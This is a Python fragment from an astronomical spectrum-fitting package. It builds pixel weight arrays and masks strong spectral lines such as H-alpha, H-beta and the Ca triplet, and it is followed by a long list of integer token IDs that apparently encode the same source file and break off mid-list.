# load table containing the weights
df = pd.read_csv(os.path.join(self._root, self._filename))
# consider only weights for iteration steps lower/equal than the given one
df = df[df['step'] <= self._step]
# initialize weight array
weights = np.zeros(spectrum.wave.shape) + self._initial
# write weights to array
for i, row in df.iterrows():
if isinstance(self._mask_lines, list) or isinstance(self._mask_lines, np.ndarray):
if self._mask_centers(row, self._mask_lines, weights, spectrum):
continue
elif self._mask_lines == 'default':
if self._mask_default_lines(row, weights, spectrum):
continue
weights[(spectrum.wave >= row['wave_start']) & (spectrum.wave <= row['wave_end'])] += row['weights']
# if line depth larger than given threshold mask out the central region otherwise increase weight of
# central pixel by given factor
if row['line_depth'] > self._max_line_depth:
# if region spans more than 10 wavelength pixel mask out the 3 central pixel otherwise only the central
# one
if (row['wave_end'] - row['wave_start']) >= 12:
i = np.argmin(np.abs(spectrum.wave - row['wave_center']))
weights[i-1:i+2] = 0
else:
weights[np.argmin(np.abs(spectrum.wave - row['wave_center']))] = 0
else:
weights[np.argmin(np.abs(spectrum.wave - row['wave_center']))] *= self._center_weight
return weights
def _mask_default_lines(self, row: pd.Series, weights: np.ndarray, spectrum: Spectrum):
# Halpha
if (row['wave_center'] < 6566.) & (row['wave_center'] > 6557.) & (self._logg <= 3.5):
weights[(spectrum.wave >= row['wave_start']) & (spectrum.wave <= row['wave_end'])] += row['weights']
i = np.argmin(np.abs(spectrum.wave - row['wave_center']))
weights[i - 1:i + 2] = 0
return True
elif (row['wave_center'] < 6566.) & (row['wave_center'] > 6557.) & (self._logg > 3.5):
weights[(spectrum.wave >= row['wave_start']) & (spectrum.wave <= row['wave_end'])] += row['weights']
i = np.argmin(np.abs(spectrum.wave - row['wave_center']))
weights[i] = 0
return True
# Hbeta
if (row['wave_center'] < 4867.) & (row['wave_center'] > 4857.):
weights[(spectrum.wave >= row['wave_start']) & (spectrum.wave <= row['wave_end'])] += row['weights']
i = np.argmin(np.abs(spectrum.wave - row['wave_center']))
weights[i] = 0
return True
# FeI line
if (row['wave_center'] < 5272.) and (row['wave_center'] > 5267.):
weights[(spectrum.wave >= row['wave_start']) & (spectrum.wave <= row['wave_end'])] += row['weights']
i = np.argmin(np.abs(spectrum.wave - row['wave_center']))
weights[i - 1:i + 2] = 0
return True
# Ca triplet
if (row['wave_center'] < 8508.) and (row['wave_center'] > 8490.):
weights[(spectrum.wave >= row['wave_start']) & (spectrum.wave <= row['wave_end'])] += row['weights']
i = np.argmin(np.abs(spectrum.wave - row['wave_center']))
weights[i - 2:i + 3] = 0
return True
if (row['wave_center'] < 8553.) and (row['wave_center'] > 8530.):
weights[(spectrum.wave >= row['wave_start']) & (spectrum.wave <= row['wave_end'])] += row['weights']
i = np.argmin(np.abs(spectrum.wave - row['wave_center']))
weights[i - 2:i + 3] = 0
return True
if (row['wave_center'] < 8672.) and (row['wave_center'] > 8651.):
weights[(spectrum.wave >= row['wave_start']) & (spectrum.wave <= row['wave_end'])] += row['weights']
i = np.argmin(np.abs(spectrum.wave - row['wave_center']))
weights[i - 2:i + 3] = 0
return True
return False
def _mask_centers(self, row: pd.Series, lines: Union[list, np.ndarray], weights: np.ndarray, spectrum: Spectrum):
for center, npix, logg_min, logg_max in lines:
if (row['wave_start'] < center) and (row['wave_end'] > center) and (self._logg < logg_max) and (
self._logg >= logg_min):
weights[(spectrum.wave >= row['wave_start']) & (spectrum.wave <= row['wave_end'])] += row['weights']
i = np.argmin(np.abs(spectrum.wave - row['wave_center']))
if npix % 2 == 0:
weights[int(i-npix//2):int(i+npix//2)] = 0
else:
weights[int(i-npix//2):int(i+npix//2+1)] = 0
return True
return False
__all__ = ['WeightFromGridNearest']
| [
1,
529,
12443,
29918,
303,
1503,
29958,
29896,
29899,
29896,
29900,
13,
5215,
2897,
13,
13,
5215,
12655,
408,
7442,
13,
5215,
11701,
408,
10518,
13,
3166,
19229,
1053,
2391,
29892,
7761,
13,
13,
3166,
869,
7915,
1053,
1334,
523,
13,
3166,
6317,
1272,
1053,
27738,
5848,
13,
13,
13,
1990,
1334,
523,
4591,
5756,
29940,
799,
342,
29898,
22676,
1125,
13,
1678,
9995,
13,
1678,
910,
770,
15376,
278,
18177,
515,
263,
6856,
8679,
373,
278,
2847,
1819,
310,
278,
6216,
4128,
491,
23906,
278,
13,
268,
20471,
17647,
297,
278,
6856,
29889,
739,
3639,
385,
1409,
6943,
278,
18177,
29889,
13,
1678,
9995,
13,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
10422,
29892,
2847,
29901,
5785,
353,
29871,
29900,
1696,
4236,
29918,
1220,
29918,
19488,
29901,
5785,
353,
29871,
29900,
29889,
29945,
29892,
4818,
29918,
7915,
29901,
5785,
353,
29871,
29896,
1696,
13,
462,
4236,
29918,
10568,
29901,
938,
353,
29871,
29896,
29892,
11105,
29918,
9012,
29901,
7761,
29961,
11227,
29892,
851,
29892,
2391,
29962,
353,
5852,
29892,
4236,
29918,
3167,
7607,
29941,
29900,
29900,
29892,
29871,
29900,
29889,
29941,
511,
334,
5085,
29892,
3579,
19290,
1125,
13,
4706,
9995,
13,
4706,
17250,
7093,
263,
716,
7688,
29889,
13,
13,
4706,
826,
3174,
29901,
13,
9651,
10422,
29901,
4408,
310,
6856,
934,
29889,
13,
9651,
2847,
29901,
17250,
995,
363,
278,
3353,
7688,
1409,
29889,
13,
9651,
4236,
29918,
1220,
29918,
19488,
29901,
8068,
15526,
363,
3454,
411,
7200,
1196,
10809,
526,
11105,
287,
714,
29889,
13,
9651,
4818,
29918,
7915,
29901,
383,
7168,
393,
16415,
278,
7688,
310,
278,
6555,
15526,
310,
1269,
1196,
29889,
13,
9651,
4236,
29918,
10568,
29901,
512,
12541,
6576,
5277,
4236,
29918,
10568,
716,
18177,
526,
7500,
515,
278,
6856,
29889,
13,
9651,
11105,
29918,
9012,
29901,
2391,
310,
17977,
683,
3454,
393,
526,
2337,
11105,
287,
714,
297,
1009,
1644,
414,
29889,
13,
4706,
9995,
13,
13,
4706,
1334,
523,
17255,
2344,
12035,
1311,
29892,
334,
5085,
29892,
3579,
19290,
29897,
13,
13,
4706,
565,
525,
12650,
29915,
297,
9049,
5085,
29901,
13,
9651,
1583,
29889,
12650,
353,
9049,
5085,
1839,
12650,
2033,
13,
13,
4706,
1583,
3032,
11228,
353,
2847,
13,
4706,
1583,
3032,
3317,
29918,
1220,
29918,
19488,
353,
4236,
29918,
1220,
29918,
19488,
13,
4706,
1583,
3032,
5064,
29918,
7915,
353,
4818,
29918,
7915,
13,
4706,
1583,
3032,
3317,
29918,
10568,
353,
4236,
29918,
10568,
13,
4706,
1583,
3032,
3317,
29918,
3167,
353,
12705,
29898,
3317,
29918,
3167,
29892,
11837,
29922,
5574,
29897,
13,
13,
4706,
565,
11105,
29918,
9012,
29901,
13,
9651,
565,
338,
8758,
29898,
13168,
29918,
9012,
29892,
6120,
1125,
13,
18884,
1583,
3032,
13168,
29918,
9012,
353,
525,
4381,
29915,
13,
9651,
25342,
338,
8758,
29898,
13168,
29918,
9012,
29892,
1051,
1125,
13,
18884,
1583,
3032,
13168,
29918,
9012,
353,
5159,
13,
18884,
363,
1196,
297,
11105,
29918,
9012,
29901,
13,
462,
1678,
565,
7431,
29898,
1220,
29897,
1275,
29871,
29906,
29901,
13,
462,
4706,
1583,
3032,
13168,
29918,
9012,
29889,
4397,
29898,
1220,
718,
21069,
29900,
29889,
29945,
29892,
29871,
29953,
29889,
29945,
2314,
13,
462,
1678,
1683,
29901,
13,
462,
4706,
1583,
3032,
13168,
29918,
9012,
29889,
4397,
29898,
1220,
29897,
13,
9651,
25342,
338,
8758,
29898,
13168,
29918,
9012,
29892,
851,
1125,
13,
18884,
4489,
353,
10518,
29889,
949,
29918,
7638,
29898,
359,
29889,
2084,
29889,
18837,
16908,
29898,
13168,
29918,
9012,
876,
13,
18884,
4489,
29889,
2029,
29961,
2176,
1839,
1188,
29887,
29918,
1195,
13359,
275,
1056,
3285,
525,
1188,
29887,
29918,
1195,
2033,
353,
448,
29900,
29889,
29945,
13,
18884,
4489,
29889,
2029,
29961,
2176,
1839,
1188,
29887,
29918,
3317,
13359,
275,
1056,
3285,
525,
1188,
29887,
29918,
3317,
2033,
353,
29871,
29953,
29889,
29945,
13,
13,
18884,
1583,
3032,
13168,
29918,
9012,
353,
4489,
29889,
517,
29918,
23749,
580,
13,
4706,
1683,
29901,
13,
9651,
1583,
3032,
13168,
29918,
9012,
353,
11105,
29918,
9012,
13,
13,
4706,
396,
7985,
10422,
13,
4706,
10422,
353,
2897,
29889,
2084,
29889,
18837,
16908,
29898,
9507,
29897,
13,
13,
4706,
396,
679,
6856,
29915,
29879,
3876,
2224,
13,
4706,
1583,
3032,
4632,
353,
2897,
29889,
2084,
29889,
25721,
29898,
9507,
29897,
13,
13,
4706,
396,
2254,
16874,
13,
4706,
1583,
3032,
1272,
353,
10518,
29889,
949,
29918,
7638,
29898,
9507,
29892,
2380,
29918,
1054,
29922,
8824,
29897,
13,
13,
4706,
396,
679,
599,
4128,
29892,
491,
11077,
525,
3434,
3871,
29915,
515,
1051,
310,
4341,
13,
4706,
1583,
3032,
16744,
353,
1051,
29898,
1311,
3032,
1272,
29889,
13099,
29897,
13,
4706,
1583,
3032,
16744,
29889,
5992,
877,
3434,
3871,
1495,
13,
13,
4706,
396,
591,
5251,
393,
599,
4128,
526,
5685,
1446,
29892,
577,
7539,
963,
408,
1316,
13,
4706,
363,
1024,
297,
1583,
3032,
16744,
29901,
13,
9651,
1583,
3032,
1272,
29961,
978,
29962,
353,
1583,
3032,
1272,
29961,
978,
1822,
7302,
29898,
2892,
921,
29901,
5785,
29898,
29916,
876,
13,
13,
4706,
396,
679,
6856,
27815,
13,
4706,
1583,
3032,
1165,
267,
353,
518,
9302,
29889,
2378,
29898,
24582,
29898,
1311,
3032,
1272,
29961,
29886,
1822,
13092,
22130,
363,
282,
297,
1583,
3032,
16744,
29962,
13,
13,
4706,
396,
3349,
27815,
393,
1712,
871,
263,
2323,
995,
13,
4706,
363,
474,
29892,
282,
297,
26985,
29898,
1311,
3032,
16744,
1125,
13,
9651,
565,
7431,
29898,
1311,
3032,
1165,
267,
29961,
29875,
2314,
5277,
29871,
29896,
29901,
13,
18884,
628,
1583,
3032,
1165,
267,
29961,
29875,
29962,
13,
18884,
1583,
3032,
16744,
29889,
5992,
29898,
29886,
29897,
13,
13,
4706,
1583,
3032,
1272,
29889,
842,
29918,
2248,
29898,
8149,
29922,
1311,
3032,
16744,
29892,
297,
6689,
29922,
5574,
29897,
13,
13,
4706,
396,
11905,
4331,
6795,
13,
4706,
1583,
3032,
10568,
353,
29871,
29896,
13,
13,
4706,
396,
1819,
310,
278,
6216,
3443,
515,
3517,
12541,
4331,
13,
4706,
1583,
3032,
24957,
29918,
5975,
353,
6213,
13,
13,
4706,
1583,
3032,
9507,
353,
6213,
13,
13,
4706,
396,
18177,
674,
367,
6087,
363,
2446,
24372,
13,
4706,
1583,
3032,
705,
5861,
353,
6213,
13,
4706,
1583,
3032,
484,
1141,
6526,
353,
6213,
13,
13,
4706,
396,
4078,
2847,
4128,
13,
4706,
1583,
3032,
11228,
29918,
5975,
353,
6213,
13,
13,
4706,
1583,
3032,
1188,
29887,
353,
6213,
13,
13,
1678,
822,
4770,
4804,
12035,
1311,
29892,
18272,
29901,
27738,
5848,
29892,
10422,
29901,
851,
29897,
1599,
7442,
29889,
299,
2378,
29901,
13,
4706,
9995,
13,
4706,
6760,
1078,
322,
3639,
7688,
1409,
29889,
13,
13,
4706,
826,
3174,
29901,
13,
9651,
18272,
29901,
27738,
5848,
304,
1653,
7688,
363,
29889,
13,
9651,
10422,
29901,
4408,
310,
18272,
934,
29889,
13,
13,
4706,
16969,
29901,
13,
632,
4398,
6943,
278,
7688,
363,
2183,
18272,
29889,
13,
4706,
9995,
13,
13,
4706,
396,
4078,
2847,
1819,
13,
4706,
565,
1583,
3032,
11228,
29918,
5975,
338,
6213,
29901,
13,
9651,
1583,
3032,
11228,
29918,
5975,
353,
6571,
13,
9651,
363,
274,
1526,
297,
1583,
29889,
12650,
1839,
2344,
29918,
1524,
13359,
5975,
7295,
13,
18884,
363,
1828,
29918,
978,
297,
274,
1526,
29889,
3207,
29918,
7039,
29901,
13,
462,
1678,
1583,
3032,
11228,
29918,
5975,
29961,
3207,
29918,
978,
29962,
353,
274,
1526,
29961,
3207,
29918,
978,
29962,
13,
13,
462,
1678,
565,
1828,
29918,
978,
1275,
525,
1188,
29887,
29915,
322,
1583,
3032,
1188,
29887,
338,
6213,
29901,
13,
462,
4706,
1583,
3032,
1188,
29887,
353,
274,
1526,
29961,
3207,
29918,
978,
29962,
13,
13,
18884,
2867,
13,
13,
4706,
396,
2254,
716,
18177,
565,
278,
6216,
4128,
3939,
16951,
13,
4706,
716,
29918,
705,
5861,
353,
7700,
13,
4706,
565,
1583,
3032,
24957,
29918,
5975,
338,
451,
6213,
29901,
13,
9651,
363,
1828,
297,
1583,
3032,
16744,
29901,
13,
18884,
565,
716,
29918,
705,
5861,
29901,
13,
462,
1678,
2867,
13,
18884,
363,
274,
1526,
297,
1583,
29889,
12650,
1839,
2344,
29918,
1524,
13359,
5975,
7295,
13,
462,
1678,
363,
1828,
29918,
978,
297,
274,
1526,
29889,
3207,
29918,
7039,
29901,
13,
462,
4706,
565,
1828,
29889,
13609,
580,
2804,
1828,
29918,
978,
29889,
13609,
7295,
13,
462,
9651,
6773,
13,
13,
462,
4706,
565,
1828,
29889,
13609,
580,
1275,
525,
371,
600,
2396,
13,
462,
9651,
396,
1258,
1920,
600,
1735,
491,
901,
1135,
29871,
29941,
29900,
29900,
29968,
29973,
13,
462,
9651,
716,
29918,
705,
5861,
353,
6425,
29898,
13,
462,
18884,
1583,
3032,
24957,
29918,
5975,
29961,
1311,
3032,
16744,
29889,
2248,
29898,
3207,
4638,
448,
274,
1526,
29961,
3207,
29918,
978,
2314,
1405,
1583,
3032,
3317,
29918,
3167,
29961,
29900,
29962,
13,
462,
4706,
1683,
29901,
13,
462,
9651,
396,
1258,
5169,
29950,
29892,
838,
2026,
470,
1480,
29887,
1735,
491,
901,
1135,
29871,
29900,
29889,
29941,
316,
29916,
29973,
13,
462,
9651,
716,
29918,
705,
5861,
353,
6425,
29898,
13,
462,
18884,
1583,
3032,
24957,
29918,
5975,
29961,
1311,
3032,
16744,
29889,
2248,
29898,
3207,
4638,
448,
274,
1526,
29961,
3207,
29918,
978,
2314,
1405,
1583,
3032,
3317,
29918,
3167,
29961,
29896,
29962,
13,
13,
4706,
396,
526,
1857,
3443,
1819,
13557,
411,
2847,
1819,
29973,
13,
4706,
565,
1583,
3032,
10568,
1405,
29871,
29896,
29901,
13,
9651,
13128,
353,
5159,
13,
9651,
363,
274,
1526,
297,
1583,
29889,
12650,
1839,
2344,
29918,
1524,
13359,
5975,
7295,
13,
18884,
363,
1828,
29918,
978,
297,
274,
1526,
29889,
3207,
29918,
7039,
29901,
13,
462,
1678,
13128,
29889,
4397,
29898,
21058,
29961,
3207,
29918,
978,
29962,
1275,
1583,
3032,
11228,
29918,
5975,
29961,
3207,
29918,
978,
2314,
13,
13,
18884,
2867,
13,
13,
9651,
396,
4163,
338,
10092,
304,
2847,
1819,
565,
278,
6216,
1791,
5708,
411,
263,
270,
1160,
292,
7329,
29892,
297,
393,
1206,
278,
12541,
13,
9651,
396,
29871,
4331,
4225,
304,
367,
10092,
408,
1532,
13,
9651,
565,
7442,
29889,
497,
29898,
7050,
1125,
13,
18884,
1583,
3032,
10568,
353,
29871,
29896,
13,
13,
4706,
396,
2254,
716,
18177,
565,
4236,
29918,
10568,
756,
451,
1063,
7450,
470,
6216,
4128,
3939,
16951,
13,
4706,
565,
313,
1311,
3032,
10568,
5277,
1583,
3032,
3317,
29918,
10568,
29897,
470,
716,
29918,
705,
5861,
29901,
13,
9651,
565,
716,
29918,
705,
5861,
29901,
13,
18884,
1583,
3032,
10568,
353,
29871,
29896,
13,
13,
9651,
396,
679,
4128,
515,
4163,
13,
9651,
8636,
353,
5159,
13,
9651,
363,
1828,
297,
1583,
3032,
16744,
29901,
13,
18884,
363,
274,
1526,
297,
1583,
29889,
12650,
1839,
2344,
29918,
1524,
13359,
5975,
7295,
13,
462,
1678,
363,
1828,
29918,
978,
297,
274,
1526,
29889,
3207,
29918,
7039,
29901,
13,
462,
4706,
565,
1828,
29889,
13609,
580,
2804,
1828,
29918,
978,
29889,
13609,
7295,
13,
462,
9651,
6773,
13,
13,
462,
4706,
8636,
29889,
4397,
29898,
21058,
29961,
3207,
29918,
978,
2314,
13,
13,
462,
1678,
2867,
13,
13,
9651,
396,
4078,
1857,
4128,
363,
2446,
4331,
13,
9651,
1583,
3032,
24957,
29918,
5975,
353,
8636,
29889,
8552,
580,
13,
13,
9651,
396,
1284,
20471,
17647,
13,
9651,
1583,
3032,
484,
1141,
6526,
353,
5159,
13,
9651,
363,
474,
29892,
282,
297,
26985,
29898,
7529,
1125,
13,
18884,
1583,
3032,
484,
1141,
6526,
29889,
4397,
29898,
1311,
3032,
1165,
267,
29961,
29875,
3816,
9302,
29889,
1191,
1195,
29898,
9302,
29889,
6897,
29898,
1311,
3032,
1165,
267,
29961,
29875,
29962,
448,
282,
876,
2314,
13,
13,
9651,
396,
4078,
10422,
310,
7688,
1591,
13,
9651,
1583,
3032,
9507,
353,
1583,
3032,
1272,
29889,
2029,
29961,
23583,
29898,
1311,
3032,
484,
1141,
6526,
29897,
1822,
3434,
3871,
13,
13,
4706,
396,
2254,
18177,
13,
4706,
281,
353,
1583,
3032,
1359,
29918,
705,
5861,
29898,
21494,
5848,
29897,
13,
13,
4706,
396,
7910,
4331,
6795,
13,
4706,
1583,
3032,
10568,
4619,
29871,
29896,
13,
13,
4706,
736,
281,
13,
13,
1678,
822,
903,
1359,
29918,
705,
5861,
29898,
1311,
29892,
18272,
29901,
27738,
5848,
1125,
13,
4706,
9995,
13,
4706,
16012,
16874,
934,
515,
6856,
322,
1653,
7688,
1409,
29889,
13,
13,
4706,
826,
3174,
29901,
13,
9651,
10422,
29901,
2514,
3871,
310,
16874,
934,
393,
3743,
278,
18177,
29889,
13,
9651,
18272,
29901,
27738,
5848,
304,
1653,
278,
7688,
363,
29889,
13,
13,
4706,
16969,
29901,
13,
632,
1334,
523,
1409,
29889,
13,
4706,
9995,
13,
13,
4706,
396,
2254,
1591,
6943,
278,
18177,
13,
4706,
4489,
353,
10518,
29889,
949,
29918,
7638,
29898,
359,
29889,
2084,
29889,
7122,
29898,
1311,
3032,
4632,
29892,
1583,
3032,
9507,
876,
13,
13,
4706,
396,
2050,
871,
18177,
363,
12541,
6576,
5224,
29914,
11745,
1135,
278,
2183,
697,
13,
4706,
4489,
353,
4489,
29961,
2176,
1839,
10568,
2033,
5277,
1583,
3032,
10568,
29962,
13,
13,
4706,
396,
11905,
7688,
1409,
13,
4706,
18177,
353,
7442,
29889,
3298,
359,
29898,
21494,
5848,
29889,
27766,
29889,
12181,
29897,
718,
1583,
3032,
11228,
13,
13,
4706,
396,
2436,
18177,
304,
1409,
13,
4706,
363,
474,
29892,
1948,
297,
4489,
29889,
1524,
5727,
7295,
13,
9651,
565,
338,
8758,
29898,
1311,
3032,
13168,
29918,
9012,
29892,
1051,
29897,
470,
338,
8758,
29898,
1311,
3032,
13168,
29918,
9012,
29892,
7442,
29889,
299,
2378,
1125,
13,
18884,
565,
1583,
3032,
13168,
29918,
1760,
414,
29898,
798,
29892,
1583,
3032,
13168,
29918,
9012,
29892,
18177,
29892,
18272,
1125,
13,
462,
1678,
6773,
13,
9651,
25342,
1583,
3032,
13168,
29918,
9012,
1275,
525,
4381,
2396,
13,
18884,
565,
1583,
3032,
13168,
29918,
4381,
29918,
9012,
29898,
798,
29892,
18177,
29892,
18272,
1125,
13,
462,
1678,
6773,
13,
13,
9651,
18177,
15625,
21494,
5848,
29889,
27766,
6736,
1948,
1839,
27766,
29918,
2962,
11287,
669,
313,
21494,
5848,
29889,
27766,
5277,
1948,
1839,
27766,
29918,
355,
2033,
4638,
4619,
1948,
1839,
705,
5861,
2033,
13,
13,
9651,
396,
565,
1196,
10809,
7200,
1135,
2183,
16897,
11105,
714,
278,
6555,
5120,
6467,
7910,
7688,
310,
13,
9651,
396,
6555,
15526,
491,
2183,
7329,
13,
9651,
565,
1948,
1839,
1220,
29918,
19488,
2033,
1405,
1583,
3032,
3317,
29918,
1220,
29918,
19488,
29901,
13,
18884,
396,
565,
5120,
805,
550,
901,
1135,
29871,
29896,
29900,
281,
6447,
1477,
15526,
11105,
714,
278,
29871,
29941,
6555,
15526,
6467,
871,
278,
6555,
13,
18884,
396,
697,
13,
18884,
565,
313,
798,
1839,
27766,
29918,
355,
2033,
448,
1948,
1839,
27766,
29918,
2962,
11287,
6736,
29871,
29896,
29906,
29901,
13,
462,
1678,
474,
353,
7442,
29889,
1191,
1195,
29898,
9302,
29889,
6897,
29898,
21494,
5848,
29889,
27766,
448,
1948,
1839,
27766,
29918,
5064,
25901,
13,
462,
1678,
18177,
29961,
29875,
29899,
29896,
29901,
29875,
29974,
29906,
29962,
353,
29871,
29900,
13,
18884,
1683,
29901,
13,
462,
1678,
18177,
29961,
9302,
29889,
1191,
1195,
29898,
9302,
29889,
6897,
29898,
21494,
5848,
29889,
27766,
448,
1948,
1839,
27766,
29918,
5064,
25901,
29962,
353,
29871,
29900,
13,
9651,
1683,
29901,
13,
18884,
18177,
29961,
9302,
29889,
1191,
1195,
29898,
9302,
29889,
6897,
29898,
21494,
5848,
29889,
27766,
448,
1948,
1839,
27766,
29918,
5064,
25901,
29962,
334,
29922,
1583,
3032,
5064,
29918,
7915,
13,
13,
4706,
736,
18177,
13,
13,
1678,
822,
903,
13168,
29918,
4381,
29918,
9012,
29898,
1311,
29892,
1948,
29901,
10518,
29889,
19204,
29892,
18177,
29901,
7442,
29889,
299,
2378,
29892,
18272,
29901,
27738,
5848,
1125,
13,
4706,
396,
379,
2312,
13,
4706,
565,
313,
798,
1839,
27766,
29918,
5064,
2033,
529,
29871,
29953,
29945,
29953,
29953,
1846,
669,
313,
798,
1839,
27766,
29918,
5064,
2033,
1405,
29871,
29953,
29945,
29945,
29955,
1846,
669,
313,
1311,
3032,
1188,
29887,
5277,
29871,
29941,
29889,
29945,
1125,
13,
9651,
18177,
15625,
21494,
5848,
29889,
27766,
6736,
1948,
1839,
27766,
29918,
2962,
11287,
669,
313,
21494,
5848,
29889,
27766,
5277,
1948,
1839,
27766,
29918,
355,
2033,
4638,
4619,
1948,
1839,
705,
5861,
2033,
13,
13,
9651,
474,
353,
7442,
29889,
1191,
1195,
29898,
9302,
29889,
6897,
29898,
21494,
5848,
29889,
27766,
448,
1948,
1839,
27766,
29918,
5064,
25901,
13,
9651,
18177,
29961,
29875,
448,
29871,
29896,
29901,
29875,
718,
29871,
29906,
29962,
353,
29871,
29900,
13,
9651,
736,
5852,
13,
4706,
25342,
313,
798,
1839,
27766,
29918,
5064,
2033,
529,
29871,
29953,
29945,
29953,
29953,
1846,
669,
313,
798,
1839,
27766,
29918,
5064,
2033,
1405,
29871,
29953,
29945,
29945,
29955,
1846,
669,
313,
1311,
3032,
1188,
29887,
1405,
29871,
29941,
29889,
29945,
1125,
13,
9651,
18177,
15625,
21494,
5848,
29889,
27766,
6736,
1948,
1839,
27766,
29918,
2962,
11287,
669,
313,
21494,
5848,
29889,
27766,
5277,
1948,
1839,
27766,
29918,
355,
2033,
4638,
4619,
1948,
1839,
705,
5861,
2033,
13,
13,
9651,
474,
353,
7442,
29889,
1191,
1195,
29898,
9302,
29889,
6897,
29898,
21494,
5848,
29889,
27766,
448,
1948,
1839,
27766,
29918,
5064,
25901,
13,
9651,
18177,
29961,
29875,
29962,
353,
29871,
29900,
13,
9651,
736,
5852,
13,
13,
4706,
396,
379,
3571,
13,
4706,
565,
313,
798,
1839,
27766,
29918,
5064,
2033,
529,
29871,
29946,
29947,
29953,
29955,
1846,
669,
313,
798,
1839,
27766,
29918,
5064,
2033,
1405,
29871,
29946,
29947,
29945,
29955,
9575,
13,
9651,
18177,
15625,
21494,
5848,
29889,
27766,
6736,
1948,
1839,
27766,
29918,
2962,
11287,
669,
313,
21494,
5848,
29889,
27766,
5277,
1948,
1839,
27766,
29918,
355,
2033,
4638,
4619,
1948,
1839,
705,
5861,
2033,
13,
13,
9651,
474,
353,
7442,
29889,
1191,
1195,
29898,
9302,
29889,
6897,
29898,
21494,
5848,
29889,
27766,
448,
1948,
1839,
27766,
29918,
5064,
25901,
13,
9651,
18177,
29961,
29875,
29962,
353,
29871,
29900,
13,
9651,
736,
5852,
13,
13,
4706,
396,
5169,
29902,
1196,
13,
4706,
565,
313,
798,
1839,
27766,
29918,
5064,
2033,
529,
29871,
29945,
29906,
29955,
29906,
1846,
322,
313,
798,
1839,
27766,
29918,
5064,
2033,
1405,
29871,
29945,
29906,
29953,
29955,
9575,
13,
9651,
18177,
15625,
21494,
5848,
29889,
27766,
6736,
1948,
1839,
27766,
29918,
2962,
11287,
669,
313,
21494,
5848,
29889,
27766,
5277,
1948,
1839,
27766,
29918,
355,
2033,
4638,
4619,
1948,
1839,
705,
5861,
2033,
13,
13,
9651,
474,
353,
7442,
29889,
1191,
1195,
29898,
9302,
29889,
6897,
29898,
21494,
5848,
29889,
27766,
448,
1948,
1839,
27766,
29918,
5064,
25901,
13,
9651,
18177,
29961,
29875,
448,
29871,
29896,
29901,
29875,
718,
29871,
29906,
29962,
353,
29871,
29900,
13,
9651,
736,
5852,
13,
13,
4706,
396,
9243,
21954,
29873,
13,
4706,
565,
313,
798,
1839,
27766,
29918,
5064,
2033,
529,
29871,
29947,
29945,
29900,
29947,
1846,
322,
313,
798,
1839,
27766,
29918,
5064,
2033,
1405,
29871,
29947,
29946,
29929,
29900,
9575,
13,
9651,
18177,
15625,
21494,
5848,
29889,
27766,
6736,
1948,
1839,
27766,
29918,
2962,
11287,
669,
313,
21494,
5848,
29889,
27766,
5277,
1948,
1839,
27766,
29918,
355,
2033,
4638,
4619,
1948,
1839,
705,
5861,
2033,
13,
13,
9651,
474,
353,
7442,
29889,
1191,
1195,
29898,
9302,
29889,
6897,
29898,
21494,
5848,
29889,
27766,
448,
1948,
1839,
27766,
29918,
5064,
25901,
13,
9651,
18177,
29961,
29875,
448,
29871,
29906,
29901,
29875,
718,
29871,
29941,
29962,
353,
29871,
29900,
13,
9651,
736,
5852,
13,
13,
4706,
565,
313,
798,
1839,
27766,
29918,
5064,
2033,
529,
29871,
29947,
29945,
29945,
29941,
1846,
322,
313,
798,
1839,
27766,
29918,
5064,
2033,
1405,
29871,
29947,
29945,
29941,
29900,
9575,
13,
9651,
18177,
15625,
21494,
5848,
29889,
27766,
6736,
1948,
1839,
27766,
29918,
2962,
11287,
669,
313,
21494,
5848,
29889,
27766,
5277,
1948,
1839,
27766,
29918,
355,
2033,
4638,
4619,
1948,
1839,
705,
5861,
2033,
13,
13,
9651,
474,
353,
7442,
29889,
1191,
1195,
29898,
9302,
29889,
6897,
29898,
21494,
5848,
29889,
27766,
448,
1948,
1839,
27766,
29918,
5064,
25901,
13,
9651,
18177,
29961,
29875,
448,
29871,
29906,
29901,
29875,
718,
29871,
29941,
29962,
353,
29871,
29900,
13,
9651,
736,
5852,
13,
13,
4706,
565,
313,
798,
1839,
27766,
29918,
5064,
2033,
529,
29871,
29947,
29953,
29955,
29906,
1846,
322,
313,
798,
1839,
27766,
29918,
5064,
2033,
1405,
29871,
29947,
29953,
29945,
29896,
9575,
13,
9651,
18177,
15625,
21494,
5848,
29889,
27766,
6736,
1948,
1839,
27766,
29918,
2962,
11287,
669,
313,
21494,
5848,
29889,
27766,
5277,
1948,
1839,
27766,
29918,
355,
2033,
4638,
4619,
1948,
1839,
705,
5861,
2033,
13,
13,
9651,
474,
353,
7442,
29889,
1191,
1195,
29898,
9302,
29889,
6897,
29898,
21494,
5848,
29889,
27766,
448,
1948,
1839,
27766,
29918,
5064,
25901,
13,
9651,
18177,
29961,
29875,
448,
29871,
29906,
29901,
29875,
718,
29871,
29941,
29962,
353,
29871,
29900,
13,
9651,
736,
5852,
13,
13,
4706,
736,
7700,
13,
13,
1678,
822,
903,
13168,
29918,
1760,
414,
29898,
1311,
29892,
1948,
29901,
10518,
29889,
19204,
29892,
3454,
29901,
7761,
29961,
1761,
29892,
7442,
29889,
299,
2378,
1402,
18177,
29901,
7442,
29889,
299,
2378,
29892,
18272,
29901,
27738,
5848,
1125,
13,
4706,
363,
4818,
29892,
7442,
861,
29892,
1480,
29887,
29918,
1195,
29892,
1480,
29887,
29918,
3317,
297,
3454,
29901,
13,
9651,
565,
313,
798,
1839,
27766,
29918,
2962,
2033,
529,
4818,
29897,
322,
313,
798,
1839,
27766,
29918,
355,
2033,
1405,
4818,
29897,
322,
313,
1311,
3032,
1188,
29887,
529,
1480,
29887,
29918,
3317,
29897,
322,
313,
13,
462,
1678,
1583,
3032,
1188,
29887,
6736,
1480,
29887,
29918,
1195,
1125,
13,
18884,
18177,
15625,
21494,
5848,
29889,
27766,
6736,
1948,
1839,
27766,
29918,
2962,
11287,
669,
313,
21494,
5848,
29889,
27766,
5277,
1948,
1839,
27766,
29918,
355,
2033,
4638,
4619,
1948,
1839,
705,
5861,
2033,
13,
13,
18884,
474,
353,
7442,
29889,
1191,
1195,
29898,
9302,
29889,
6897,
29898,
21494,
5848,
29889,
27766,
448,
1948,
1839,
27766,
29918,
5064,
25901,
13,
13,
18884,
565,
7442,
861,
1273,
29871,
29906,
1275,
29871,
29900,
29901,
13,
462,
1678,
18177,
29961,
524,
29898,
29875,
29899,
9302,
861,
458,
29906,
1125,
524,
29898,
29875,
29974,
9302,
861,
458,
29906,
4638,
353,
29871,
29900,
13,
18884,
1683,
29901,
13,
462,
1678,
18177,
